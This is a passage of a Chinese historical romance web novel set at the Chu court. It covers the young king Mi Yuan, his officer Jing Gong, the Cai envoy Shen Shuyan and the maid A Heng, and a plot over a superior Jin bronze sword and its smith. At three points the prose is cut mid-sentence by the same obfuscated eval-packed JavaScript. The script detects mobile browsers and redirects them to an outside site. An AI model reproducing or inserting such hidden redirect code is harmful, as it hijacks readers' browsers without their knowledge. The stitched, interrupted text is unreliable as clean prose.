“王上，请恕臣失礼，臣适才不知阿姮是您的宫女。” 芈渊拔剑出鞘，神色淡漠的戳穿他：“昭伯的那位妾夫人不是说得很清楚？倒是你，假冒巫人试图行骗，岂止是失礼，依照法令，该当何罪？” “王上恕罪！”肱抬头，两团腼腆的晕色浮上脸颊，“臣心慕阿姮姑娘，请您将她赐予臣！” 短剑被抽到一半，芈渊的手顿住，锋利的剑刃闪烁出一道寒光，照亮了他漆黑的眉眼，波澜不惊。 “景肱，”芈渊直呼其名，从鞘中抽出短剑，拍打景肱的脸，“清醒一点，寡人召你回来为的是正事，不是女人。” 景肱就势坐下，躲开冰凉的剑面，笑道：“臣可比不上大王心韧志坚，臣难得遇到这么一个可心的女子……” 芈渊不理会景肱乱七八糟的言语，抬手挽起一道剑花朝他劈来。景肱只觉得头顶一轻，用于簪冠的玉笄被轻松削断，应声落地。 景肱拾起断了半截的玉笄，断面整齐划一，再看国君手中的剑，锋芒锐利如初，没有一丝紊乱的痕迹。 “好锋利的剑刃！王上从何处得来这柄宝剑？”景肱收起心中的旖旎情思，神色变得凝重。 * 楚国富产铜矿。一年前，景肱被派去盛产铜的荆山，开山挖矿，起灶炼炉，冶铸精铜，为王上打造兵器。 郢都的公卿大夫只当新任国君的少年心性未泯，为了满足狩猎的喜好无所不用其极。只有景肱等心腹知道，王上所图乃是楚国霸业。 这一年，景肱率铸匠锻造出大量的箭簇、矛戟和斧钺，还试图为王上铸剑，一柄彰显楚王声威与霸道的王剑。 可是，铸匠费尽了办法，始终未能铸成王剑。 王上手中持握的这柄来历不明的短剑，却是惊人的锋利，超过了王剑的水准。 “是申叔偃。”芈渊口中吐出一个名字。 景肱前往荆山督造兵器时，蔡国使团还没到郢都。后来他才听说蔡国使团和申叔偃的事。 芈渊淡淡的说：“申叔偃和寡人达成协定，他以楚国客卿的身份出使晋国，拿回蔡国本应送给楚国的贺礼，寡人便不再追究蔡侯的罪过，也不予兴兵讨伐蔡国。” “从晋国拿回贺礼？”景肱摇头，心下觉得申叔偃很难完成使命。 晋国不是像蔡国那样的软柿子，吃进去的好处不会再吐出来。就算晋国愿意归还，楚国的面子已经丢了，王上的尊严被轻侮。景肱私以为，应该出兵攻打晋国和蔡国，彰显楚国武德。 芈渊看出景肱心中所想，漫不经心的说：“蔡国贡奉给寡人的，无非是不值得耗费人力的奢靡之物，或粟米黄姜之类的土产，在寡人眼中，本就不足为道。” 景肱心中灵光一闪，说：“原来大王借机发难，利用蔡使去晋国探听晋国朝堂的消息！” 只是没想到，申叔偃完成重任，远超预期。王上既得到一柄锋利无匹的利剑，又窥见晋国铸匠的技艺，还知悉了晋国意欲称霸诸侯的野心。 “铸造水平如此之高的铜剑，竟然被申叔偃从晋国偷……咳、咳，被他取得，此人不简单。”景肱感叹。 “申叔偃的聪明机智，实属在寡人的意料之外。”芈渊颔首。他口中夸赞申叔偃，眼睛里却没有笑意。 一直被他拿在手中把玩的箭簇被扔到空中，他再次举剑，斫向箭簇。 两种利器相击，嗡鸣声沉闷而短促，泛起冰冷的杀气。 楚国精铜锻造出来的箭簇，也如玉笄一般，斩断在晋国的铜剑下。 这支箭簇是景肱从荆山带回来的，他不免懊丧，仍不服气：“晋国的铜料向来不如吾国优良，他们从何处得来的精铜？” “不在于铜，在于铸匠，”芈渊纠正他，眸光沉凝，视向剑柄上陌生的铭文，“一年前晋国造出来的剑戟刀钺和我们相差无几，只一年光景，他们的兵器就发生骤变，只因他们有了更为得力的铸匠。” “申叔偃既能拿到剑，并将剑暗中送到大王手上，必然也有办法接近铸匠。若能顺势将铸匠从晋国夺取过来，荆山之铜何愁不能冶炼成利器，大王的霸业指日可成！”景肱越说越振奋。 芈渊回剑入鞘，冷笑道：“哪有这么简单？申叔偃此人，可用而不可信。他到晋国后，游说晋国朝臣，贿赂晋公宠信的寺人，使晋国不再为难蔡国。又不知从何处谋到此剑，送到寡人面前。他所做的一切，就是在等寡人将他从晋国召回，从寡人口中得到对蔡国的承诺，他才会将铸匠的线索告知于寡人。” 景肱暗叹，申叔偃好大的胆子，竟敢与王上周旋博弈。蔡国弱小，蔡侯无能，却拥有申叔偃这样有胆有识的臣子。让人不知是该可怜蔡国之弱，还是佩服申叔偃之谋。 “大王会将申叔偃从晋国召回来吗？”景肱问。 申叔偃处心积虑，而王上早已洞悉一切，以王上的个性，不会被人牵着鼻子走。但是，如若不召回申叔偃，又如何从晋国获得那个身怀秘技的铸匠？ 面对疑问，芈渊笑了，眉目神采飞扬，呈现出如景肱相似的少年模样。 不过，和英气爽朗的景肱不同，少年国君的笑容里，始终掺杂了一丝嘲弄。 “当然要将申先生请回来，蔡国使团还在郢都做客，申先生岂能不回来？”一缕狡黠的慧色从芈渊眼中划过，“申叔偃诡计多端，蔡国使团却蠢钝如猪彘。寡人给申先生准备了一份大礼，寡人倒想看看，他如何全身而退。” 景肱极为好奇：“请大王示下。” 他猜不出大王给申叔偃准备了什么“大礼”，跟蔡国使团有什么干系，不过联想到把持朝堂大权的令尹昭伯、一心想让堂妹做王后的族叔父景梁、先王那个对国君之位虎视眈眈的兄弟，还有各自打着主意的卿士大夫，老的快要成精的薄媪和司巫…… 他光想想这一团乱麻，就替王上感到头疼。王上却似乎乐在其中，就像他们年少时为了跑出去打猎，当年的太子总有层出不穷的主意，将王宫搅得鸡飞狗跳，他们却大摇大摆的驾车步出王城。 芈渊淡淡的瞥了他一眼，说：“你刚才说，希望寡人将蔡女赏赐予你？” 蔡女阿姮。原来她是蔡国进献给大王的美人。如今这样的形势下，她在楚国的日子不会好过。 “大王！”景肱直起胸膛，着急的说，“阿姮只是个身不由己的弱女子，您要收拾申叔偃和蔡国使团，必定有您的道理，请万万不要迁怒于她！” “色令智昏，女色误事，肱莫要步昭伯后尘，”芈渊站起身，神色始终淡淡的，口吻却严厉起来，“蔡女妖媚惑人，又颇有心机，寡人若将她赏赐给你，非是对你的信重爱护，反会害了你！” 芈渊严词训诫，回绝了景肱。 景肱怏怏的从地上站起来。阿姮笑起来那么甜美可爱，才不是大王口中“妖媚惑人”、“颇有心机”的女子！ “夏祭过后，你将此剑带回荆山，还有上面的铭文，让铸匠们仔细钻研，看看可否识得，”芈渊把短剑扔到景肱怀中，“若能获取那个铸匠，寡人会将他送到荆山交给你。” 薄雾从林中消散，艳阳高照，在地面投下一道道细长的影子。躲在树梢处的夏蝉鸣声阵阵。 芈渊的目光像剑刃一样散发出冰冷的凉意，“记住，再好的剑，不是楚国所铸，寡人亦不用！” “臣定不负大王厚望！” 景肱将短剑举起来，凛冽的光芒从剑鞘中一闪而过。他很疑惑，申叔偃究竟用的什么法子在晋人的眼皮子底下搞到这把剑的？ 别说景肱想不通，芈渊派去监视申叔偃的王卒也没有想明白。 * 晋国都城。 同一轮烈日高悬于天空。 申叔偃从专供各国使臣落脚的传舍走出来，穿过院门走到街上。 负责保护、实则是为了监视的楚国王卒紧跟在他身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319380|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王卒警惕的盯着前方瘦削颀长的背影。前面这个年轻人是蔡侯倚重的卿士，也是个温润如玉、风度翩翩的美男子。在以武力高低为衡量标准的王卒眼中，一个身单力薄、唯有性情温和的人，无论长得多好看，都等同于没本事。 然而，他们小看了他。 一个月前，申叔偃突然拿出一把铸造精良的短剑，让他们派人秘密送回楚国，交给他们的王。 王卒大为震惊，申叔偃去过哪里，见过哪些人，逃不过他们的眼睛。他们却不知，他是怎么从晋国铸造兵器的地方取到剑的！ 这群人一走到街面上，躲在街角阴凉处的乞儿大喊一声“申先生来啦”，顿时不知从哪里冒出来几十个乞儿，呼啦啦围上来，把王卒挤到了边上。 被几十双眼睛眼巴巴的望着，申叔偃从袖中掏出几枚布币，放到为首的乞儿手上。 “想吃什么带他们去买，不可独食，不要争抢。” 乞儿爽快的答应下来，领着一群人跑向食肆。 自从几个月前，这位待人总是一派和煦的他国使臣来到晋国都城，满街的乞儿吃饱了肚子，食肆的生意也日日兴隆。 食肆店家们喜笑颜开，扯起嗓子对申先生一顿感谢，恨不得把所有的溢美之词都送给他。 申叔偃微笑摇头，走进一个卖玉饰的店铺。店家殷勤的迎上来。申叔偃的目光落到一对玉笄上，平静的眸光有了一丝裂纹。 那个姑娘及笄了。就在这一日。 他永远记得她和他的最后一面，她跟他说的最后一句话。 “申先生，没有人逼迫我，是我愿意的。” 那天，他和使团的副使分开行动，由他和楚国令尹见面，请求对方的帮助。由副使拜见楚王。 副使却将她充做献给楚王的美人，要把她送入楚国王宫。 申叔偃又惊又怒，然形势紧迫，不容他个人的情绪影响到整个使团，乃至他们身后的母国。 她对他说了那句话。 过分艳丽的妆容上，那双眼睛还是那么干净、纯洁，对他充满感激和信任。 当时，申叔偃平静的点了点头就迅速离开，连“保重”和“一切小心”的话都没来得及说。 没有人知道，他是狼狈的逃走的。 其实，他早料到了，整个使团中就这么一个合适的姑娘，无论从哪方面都正好合适，副使一定会这么做。 他对自己说，申叔偃，你可真卑鄙。 后来，过了很久，他心里有个地方突然就空了，像被谁剜走了一块，结不了疤，只能日复一日的溃烂，越来越痛。 这是他最失败的一次出使。 他不该将她带到楚国去。 他捡到她，又把她弄丢了。 申叔偃盯着玉笄的时间太久，王卒的头领觉得不对劲，喝令店家把玉笄拿过来给他看。他左看右看没看出哪有问题，索性用力一掰，把一双玉笄掰断了。 店家“啊呀”叫起来，捶胸顿足。 “慌什么！赔给你就是！”王卒倨傲的喝道。 申叔偃扯起唇角无声的笑了笑，趁店家和王卒拉扯索赔之际，悄无声息的将一截帛布置入袖中。帮他传递消息的乞儿借刚才众人围住他时，悄悄的把帛布塞给了他。 “拿去，”申叔偃再次取出一把钱递给店家，对王卒说，“本也是楚王的钱。” 王卒哼道：“申先生，莫以为这种小恩小惠的把戏就能收买我！” 申叔偃端详了几眼王卒，笑了：“你和楚王很像。” 王卒面露惑色，他不明白申叔偃为何要这么说。看似在夸他，但听起来不像什么好话。虽然他没有证据，但申叔偃一定在嘲笑他，还讥笑了他们的王。一定是这样的。 “你等着，等回到楚国……”王卒咬牙切齿，又冷哼了一声。 申叔偃施施然走出玉铺，脸上温润的笑容不变。 总这么哼，楚人的鼻孔一定会长成他们脸上最大的地方。 5. 第 5 章 芈渊和景肱君臣二人密谈过后，芈渊回到祭台附近的王帐，远远的便看到早上在林中见过的那个姑娘。 阿姮站在薄媪身后，柔顺的垂着头，晨曦中所见的娇俏笑容如露水蒸发的一干二净，只剩下一脸的恭顺温良。 她身上的粗布褐衣换成了一身素白的交领深衣，衣领和袖口织缀青色通草花纹，这是贴身侍奉国君的宫女穿的常规制式。 少女望着前方几步远的地方，一动不动，宛如一个线条袅娜的陶俑。宽大的织锦腰带将她的腰肢束缚得格外纤细，仿佛稍微用力就能折断。 芈渊微微蹙眉，轮廓清晰的薄唇习惯性的勾起一缕轻嘲。 他告诫景肱不要被蔡女的美色迷惑，景肱表面唯唯诺诺，心里必定不以为然。 景肱没有见过蔡女妖媚惑人的样子。 那时的她，被蔡国使团刻意装扮后呈到他面前，比今日还要美艳几分。 最终，在他淡漠的眸光里留下印象的，只剩下奔逃时苍白的面孔，无声的喘息，和一双乌黑湿濡隐忍含泪的眼睛。蔡女在最狼狈的时候，展露出的那种难以言说的脆弱，凄楚，无助，还有一丝微弱的倔强，让人忍不住想要破坏，想要狠狠的撕碎。 又叫人不知从何处生出一丝微薄的怜悯。 “真是可怜。” 他讥诮的叹了一句，随后举箭射杀了那头只差一点就扑到她脸上的豺狗。 骄矜自傲的国君当然不可能被迷惑。 在他的猎场上，她充其量只是一只既无害也没有用处的小兽，是猎杀还是放过，看他心情。 作为刚即位不久的国君，芈渊要做的事情很多，他很快就忘了这件事。 靠他难得的一点怜悯心肠才活下来的少女，没有死在猎场上，迟早有一天也会无声无息湮灭在异国他乡的深宫里。 芈渊巡狩归来，却惊奇的发现，她还活着。 他昨日刚到郢郊，就从运酒的百夫长口中得知，蔡女以一己之力制出酒曲，在众人面前显露头角。 蔡国乐伎，铸匠之女，识得铭文…… 若非蔡国使团一直在王卒的严密监视下，芈渊断然不会相信这是巧合。 今天早上在林中，听到昭伯妾等人说的话，芈渊全都明白了。 原来，她和那些宫女没有什么不同。费尽心机，不过想要得到他的宠幸。 他是一国之君，被逢迎被爱慕是理所当然的事，他没有兴趣探究一个女人的小心思，也没有必要。 将她赏出去，恐会祸害被他寄予厚望的臣属。 莫不如仍把她放在王宫内，更叫人放心。只要她安分守己，便是有邀宠献媚的心眼，芈渊坚信也会在自己的掌控之内。 这个念头一闪而过，芈渊手中把玩箭簇，踱步朝阿姮和薄媪走去。 * 阿姮跟在薄媪身后迎接楚王，低垂的目光随着两人的交谈声缓缓抬起来，一袭玄袍落入眼帘。 唇边浅浅挂着一丝谑笑的国君，宽肩劲腰，英武轩昂，赫然就是和那个肱在一起的巫人少年，他身后的王卒手里托着漆木面具。 怪不得当时就觉得怪异。她们说的话，都被王上听见了。阿姮窘迫不已，慌乱的垂下头。 “…….王上既然回来了，王卒不方便在宫内行走，寺人服侍大王总归没有女子心细手巧，老妪皆不大放心，不若以后便由阿姮侍奉大王的膳食寝居。”薄媪还在说话。 她昨晚专程请司巫占卜，六爻皆在当位，卦象为吉，她才最终决定将蔡女带到王上面前。 薄媪和司巫两个老人家颇有当年周文王姬昌之遗风，遇事不决就占卜。芈渊对此不置可否，瞥了一眼竭力保持镇定的少女。 雪白的脸蛋透出两团红晕，粉扑扑的，如三月的桃杏开出来的小花。 芈渊心中一哂，女人的心思就是这么浅薄。他还没有过女人，暂时也没有这方面的兴趣。过不了几日，她就老实了。 薄媪又说自己年老体衰精力不济，跟王上请辞。 芈渊一口否决。 “您若告老，王宫事务后继无人，宫中还有谁能担此重任？寡人年少，在外要仰仗众卿大夫，在内也只能请老媪再受一受累。” 芈渊温言安抚了一番，就叫自己的侍卫亲自护送薄媪回王城歇息，不用出席祭典。 楚人有在夜间祭祀的传统。终夜不眠，通宵不寝，薄媪可熬不住。 王上拒绝了薄媪的请辞，还给了她足够的体面。薄媪含笑谢恩，脸上的皱纹舒展了许多。大王宁可叫一个老媪为他打理王宫，也不提立王后的事。薄媪心中透亮，知道大王在立后的事上不想被公卿摆布。 景稚恐怕并不是令大王满意的正妻人选。 想来也是，景稚气量狭窄、任性妄为，为了一己之私，竟拿如此重要的祭典做手脚。如果不是蔡女巧慧，就叫她得逞了。 连薄媪也要落下一个失察的罪名。薄媪做了几十年女官，一时疏忽被一个小姑娘摆了一道，这口气如何咽得下去。 她略微抬了抬手，就把蔡女送到王上身边。 蔡女美貌，做事有分寸，不是楚国人，没有家族背景，不论大王以后立谁为王后，都轮不到她。她若足够聪明，想要受宠、想在楚国的王宫立足，就离不开薄媪的提携。 薄媪在王宫的权势便可以通过蔡女巩固延续。她嘴上总说老了，真的叫她告老乞休，心里还是舍不得的。 芈渊目送侍卫送薄媪离开，唇边的笑容渐渐淡下来。他喜欢和聪明人打交道，但最好不要聪明的过了头。 阿姮把薄媪送出去几步，转身回来，芈渊已经大步进入帷帐。阿姮愣了一下，垂头跟着走进去。 * 楚王没有过问早上的事，她也就装个糊涂，当做不知道楚王就是在林中遇到的巫人。 王帐里辟了一间净室，供王上沐浴。寺人们见阿姮进来，都识趣的默默退开。楚王不喜欢多嘴饶舌的人，在他身边侍奉的寺人都是口不能言的哑巴。阿姮也凝神屏气，唯恐发出一点声音惹得楚王不高兴。 两只雪白的手臂从袖袍里伸出来，探向芈渊腰间的腰带。 少女身上有一股淡雅的甜香，从衣袖里若有若无的飘散开，弥漫在芈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319381|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊胸前。 芈渊微垂着眼，冷冷的观看她的一举一动。 她的手白净秀气，手上有劳作的痕迹，十指干净柔软，指尖像蝴蝶一样轻盈翻飞，轻轻的掠过他的腰腹，解下腰带上的玉带钩。 芈渊眼前一空，素白的宫装人影翩然转到他身后，把玄色衣袍从他身上褪下来。 她从头到尾都站在离他半臂的距离，动作恰当得体，绝不刻意触碰他的身体。 只是，她在他背后突然停顿了一下，才继续手中的动作。等她把衣袍放到榻上，又过了片刻，似乎是极不情愿的，慢吞吞的走回到他面前。 阿姮面色柔婉，心跳如雷，极力掩饰慌张。刚才对上楚王裸裎的后背时，她突然想起，为王上宽衣时应该先把头冠取下来。 她虽然做过申先生的侍女，但申先生从不让她做伺候人的事。她和覃互相练习过，本也学得差不离。可到了真正面对楚王的时候，一紧张还是出了错。 头冠未卸，楚王却被她脱得只余袒露的胸膛，如同在祭台旁跳舞的巫人。 阿姮强迫自己两眼放空，可目之所及都是楚王裸露的皮肤，还有温热如麝的气息直往她鼻孔里钻，让她想躲都躲不掉。 所幸楚王尚以裈裤覆住腰腹和两腿，比那些巫人总算多几片布遮羞。 当然，阿姮晓得，强忍羞耻的只有她一个。昂首站立等她服侍的楚王，比寸缕遮身的巫人还要坦然自若。 比起那些巫人，楚王精赤的上半身似乎更为可观。得益于常年习武狩猎，加之饮食优渥，造就了他雄浑的身材，虎背熊腰，魁伟壮硕。阿姮为他宽衣时，不可避免的看到他的后背，上面有杂乱的旧伤痕，结了疤的伤口颜色深浅不一，狰狞凸起，看得她很是害怕。 相比之下，筋肉同样蓬勃的前胸肤色更均匀，看起来像铜一样坚硬，色泽也宛如赤铜，阿姮家乡的麦子到了秋天成熟时，暖暖的阳光照到麦地里也是这样的颜色。 “看够了吗？”一道轻飘飘的呵斥从阿姮头顶落下来，嗓音冰冷，慵懒不愉。 阿姮勉强保持镇静：“妾失礼，请大王容妾为您卸冠。” 芈渊松垮的挺直身形，冷眼看她越凑越近，无论怎么小心，还是把纤弱的鼻息喷到了他身上。然后是淡淡的香气萦绕，紧接着新藕似的手臂靠近他的脖颈，十指轻柔的解开系在颌下的缨带。缨带上的结解开了，两只纤白手臂探向他的头顶。 楚王身长八尺有余，如铜戟一般硕大粗重。阿姮在女子中算身量偏高的，可站在楚王面前细的就像一根随时会被压倒的草苗，挺直了腰板也只堪堪到他胸口。阿姮不敢叫楚王低头，只得悄悄踮起脚尖伸长双手，努力想要够到他头上的发冠。 随着她的动作，素白衣襟和他裸露的肌肤贴到一起。两团浑圆隔着轻薄的衣料顶住他的胸口。 胸脯相抵，呼吸起伏，在两人之间似乎有只小兔子被呼吸声震动的弹跳起来，柔腻酥软。 两个人都不由僵住。 呵，原来在这等着他。 芈渊轻蔑的扯了扯唇角，低头望下去，看她还能使出什么花样。 6. 第 6 章 阿姮一心想把楚王的头冠取下来，没承想会变成这样。她又羞又急，踮着的脚站立不稳，一头栽到楚王怀里。 少女纤薄的指甲慌乱的刮过他的胸膛，引起一阵陌生的痒意。 芈渊脸色一沉，将妄图在他胸口作乱的小手狠狠捏住。 “王上！我非有意……”阿姮惊叫。 被楚王攥捏的手腕又酸又麻，好痛。 阿姮的眼眸泛起泪光，单薄的肩头不住颤抖，柔弱堪怜。 芈渊熟视无睹，毫不怜惜的把少女柔软的身躯从怀里丢出去，抬手从头上抽出横穿头冠的椎笄。 头冠无法再固定在髻发上，头发披散开来，玉冠从他头顶跌落。 阿姮顾不得手腕隐隐作痛，手忙脚乱的接住发冠。 长发覆肩的楚王，面部五官愈发深刻，眸光冷凛，鼻梁高挺，殷红的嘴唇异样昳丽。 下一刻，那张线条分明的薄唇冷冷的吐出：“出去。” 阿姮捧着玉冠，惊魂未定的呆在原地。 芈渊愈加不耐烦，径自扯开裈裤。阿姮眼睁睁的看到，从他腰间坠落的长裤中，似乎有一团赤红的影子匍匐在漆黑的杂草中，赫然如蛇首呼之欲出。 阿姮傻了，转瞬反应过来，满面通红的逃出净室。 她身后，“哗啦”的水声溅起。 守在帘布外的哑巴寺人诧异的看了她一眼，然后默不做声进入净室。 阿姮回头，透过帘布的缝隙，只见寺人围着木桶为楚王沐洗，水汽氤氲，看不到桶中的人影。 她揉了揉手腕，顾不得自怜，就到王帐旁边楚王专属的庖厨帮助庖人准备餐食。 家破人亡、流落异国的坎坷经历，没有打垮她，反而把她磨练得愈加坚强。每每想起阿母和阿父，她会偷偷落泪，而短暂的悲伤过后，她一定会很快振作起来。 薄媪叫她侍奉王上的膳食和寝居。沐浴更衣、安寝起居之类的事，她或许不能让楚王满意。不是还有膳食吗？她不怕烟熏火烤，不怕热，也能吃苦。 这样的姑娘，和她相处久了，谁都会觉得她可爱，值得被善待。 等阿姮端食盘回到王帐，芈渊已经出来了，穿了一身雪白的中衣，黑发披覆在身后。 他坐于席上，双手执握竹简，眉目端凝，看得专注。 食盏和食豆等盛满食物的餐盘，被一样一样摆到他面前的矮几上。 又是这双漂亮的手。 芈渊从木牍上方掀起眼皮，漫不经心的扫了她一眼。 被他赶走的时候，像一只受到惊吓的小兔子。他还以为她躲哪哭去了。 此刻神色从容，倒像什么也没有发生过。 炙肉、菜齑和稻饭浓郁的香气，混合她身上天然的甜香，钻入鼻孔。 芈渊定睛看向盘盏，摆在他面前的是惯常的几种餐食，一看就是跟随他巡狩的庖人做的。 但又不完全是。眼前的膳食明显花了一些小巧的心思，盘和碗盏被擦拭得干净明亮，用于佐饭的菜齑看起来鲜绿可口，让人很有食欲。 入口时，不出他所料，莼菜可口，荇菜滑嫩，不难吃。 侍奉楚王用完膳，阿姮轻轻的呼出一口气。庖人说王上喜肉食，不喜菜蔬。因此肉膳还是由庖人烹制，她只做了荇菜米羹和莼菜齑。 楚王食量颇大，所有饭食都用得干干净净，包括那两样菜蔬。 也不知楚王有没有尝出不同，不过他没有再拿轻蔑的眼光看她，让阿姮心中稍觉安定，对做好楚王的差事多少有了点信心。 收拾几案的动作轻快了许多。 用膳完毕，芈渊重新拾起搁置在一旁的书简，眼角余光扫到在他眼前忙碌的少女。 素白的衣袖染上了污渍，不再洁净，她不在意的把袖子往手臂上拢了拢，垂着眼眉接着收拾几案，甚是专心。 芈渊把目光投向竹简。 他一尝便知道那两道菜肴不是庖人所做。 懒得戳穿她罢了。 他不是景肱或昭伯那样的人，对美色没有兴趣。能让他产生兴趣的，只有那些锋利的兵刃。 能长久在他身边侍奉的人，须得把自己当成熔炉里的兵器，不断淬炼，变得有用，让主人用得趁手。否则，生得再美，姿态再娇，在他面前也只是一块废铜，只能被丢弃。 与其使一些拙劣的伎俩邀宠，不如像寺人和庖人那样老老实实的当差。 他的耐心是有限的。 等阿姮再次从庖厨回来，芈渊搁下竹简，开口：“为寡人束发。” 阿姮没反应，她没想到楚王叫的是她。芈渊屈起两指，不耐的在几案上敲击了几下。 楚王在跟她下命令。 他坐在席上，没有站起来的意思。 阿姮醒悟过来，急忙上前，屈膝跪在楚王身后为他束发簪髻。 这一次没有再出错。 阿姮起身去拿冠冕和为祭典准备的衮服，被芈渊制止，换成田猎穿的常服。 晚上是夏祭的祭典，楚王居然还要出去打猎。只有国君才有任性的权力，想做什么就做什么，让人想羡慕都羡慕不来。 阿姮默默为他套上衣袖，束好腰带。 侍卫过来，说令尹昭伯和景梁大夫有要事禀报。 “请他们进来。”芈渊掸了掸袖子，坐回席上。 两个中年男子跟在侍卫身后进帐，皆是衣冠济济，神情肃穆。 两人向楚王行礼入座。阿姮随寺人跽跪在楚王身侧。 楚王放松的坐在席上，一条长腿微弓，搭在膝盖的手上不知何时多出一枚崭新的箭簇。 修长的手指长了眼睛似的，熟练摩挲箭簇，总能避开锋利的棱角，就像在逗弄刚刚长出牙齿的幼犬。 跪坐在楚王面前的两个人，面白短须的是昭伯，鹂阿姊的夫主。脸盘瘦长、面相严肃的是景梁，景稚之父。 景梁看到阿姮，脸就沉了下去，说：“王上，薄媪老而昏聩，不堪主持王宫要务，您何不接受她的请辞，早立王后以安民心。” “安的是景大夫的心吧？”旁边的昭伯笑起来，一边捋须一边侃侃而谈，“大王年少力足，正是体察民情、洞悉王道的大好时机，立后之事不可操之过急。以晋国为首的北方诸侯对吾国常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319382|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀图谋之心，以臣所见，东方的齐国财货丰饶，西方的秦国骁勇善战，此二国与我楚国先祖都有交好。大王当与齐侯和秦公亲近，从齐秦二国择一宗室女，与之结姻亲之盟，以对抗晋国……” 景梁愤然，瞪向昭伯：“莫以为别人不知你是何居心！你一味花言巧语、怂恿大王纵情玩乐，把游猎当成正事！而昭伯你趁机把持朝堂，阻挠大王亲政……” 昭伯的脸色变了，正要出言辩驳，坐在上首的芈渊拿箭簇敲打了几下案面。 “这就是两位爱卿的要紧事？” 两人停止争吵，昭伯忙说：“大王的叔父王叔度派人送信过来，他在来郢都的路上不慎感染热疾，不能如约抵达祭礼，请王上宽恕。” 景梁说：“叔度有谋反之心，他故意在路上停留，一是心虚不敢来朝，二是为了试探大王的反应，请王上将其治罪！” “那也得等他到了再说！”昭伯没好气的叱了一句，又换了一副谦恭的面孔朝向芈渊，“今日的祭典是否如期举行，请大王示下。” “这是寡人即位后，王叔首次回郢都参加祭典。王叔抱病前行，寡人怎么能够怀疑他？请两位爱卿不要多疑。寡人对王叔甚为想念，就将祭礼往后推迟几日，众卿随寡人一起恭候王叔。” 昭伯捋须颔首，景梁一脸不认同，只有喏喏应答声俨然一致。 阿姮跪坐在芈渊身后，看不到他脸上的表情，只能听到他的嗓音，气度沉稳，慵懒又不失威严。 原来，楚王令她为他更换常服时，就打算推迟祭礼了。 芈渊又道：“寡人巡狩的这几个月，朝堂政事全仰仗几位爱卿，寡人要好好嘉奖一番众卿。祭礼虽然推迟，夜间正是猎狐的大好时机，请众爱卿随寡人入山燎猎。” 昭伯和景梁面面相觑，掩饰不住满脸的不情愿。除了他们家的大王，谁愿意整夜不睡觉，跑到山上捉狐狸？ “臣愿前往！”一道洪亮的声音从帐门处传来。 昭伯和景梁本能的随声附和，唯恐落于人后。等看到起哄的人，两人的鼻子都气歪了。 “景肱，你添什么乱！”景梁气得拿手指点他。 来的是那个叫肱的少年，原来他是景氏子弟。 景肱往王帐里睃视一圈，目光落到阿姮身上，阿姮慌忙低头。 被楚王冷眼旁观暗中嗤笑时，中间隔了一张巫人面具，阿姮尚可以厚着脸皮装傻。景肱一出现，她的自欺欺人便无可遁形，让她颇有些不自在。 阿姮悄悄起身，准备趁昭伯和景梁向王上告退时溜出去。景肱没给她机会，身影一闪拦在她面前。 “阿姮！”景肱面露爽朗的笑容，又有些腼腆，“早间多有冒犯，我，我并非巫人——我不是故意要骗你的！” 阿姮直往旁边躲避，连说无妨。 景肱轻咳了一声，低声说：“你还要占卜么，我可以带你到司巫那里……” “不要！”阿姮勉强维持的淡定崩塌了。 “你不能去。” 慵冷的嗓音从阿姮身后响起。楚王踱步过来，不知道他在跟谁说话，阿姮垂着头不敢动。 7. 第 7 章 阿姮被景肱拦住的时候，昭伯和景梁已离开，楚王走过来，接着刚才的话对景肱说：“夜燎你就不要去了，荆山你也不用回了，寡人把你送给司巫，往后你就在巫庙天天占卜。” “不要！”轮到景肱叫起来，“臣这就走！这就回荆山！” 景肱嘴上说得坚决，眼睛还在偷瞟阿姮。 他早上跟芈渊分开后，去见叔父景梁。从叔父口中得知，堂妹景稚协助薄媪准备祭礼时，得罪了老媪，景稚生了一顿闷气，正负气在家。那个引发堂妹和薄媪矛盾的酿酒宫女，正是阿姮。 他向大王求赐阿姮，大王没答应。薄媪将阿姮送到大王面前，大王也没有拒绝。 也不知道大王怎么想的。景肱很沮丧，含睇兮美人，永远不会与他同归了。 可是，就算阿姮日后成为大王的女人，他能时不时的看到她，和她说说话，也会让他生出极大的满足。 景肱不舍得走，想起心中的疑问，道：“王上说，若找到那人，会把他送到荆山交给臣。如果找到了，带不回来，又该怎么办？” 冶炼铸造之地，必定有重兵把守，从晋国到楚国路途遥远，带一个人过来可不是那么容易的事。大王说得对，从那把短剑来看，晋国的铸造技术已经领先于楚国。如果不能夺得那位至关重要的匠人，又如何应对？ “那就杀掉他。”芈渊漠然。 楚国得不到的，晋国也休想独有。 景肱一怔，凛然答喏。 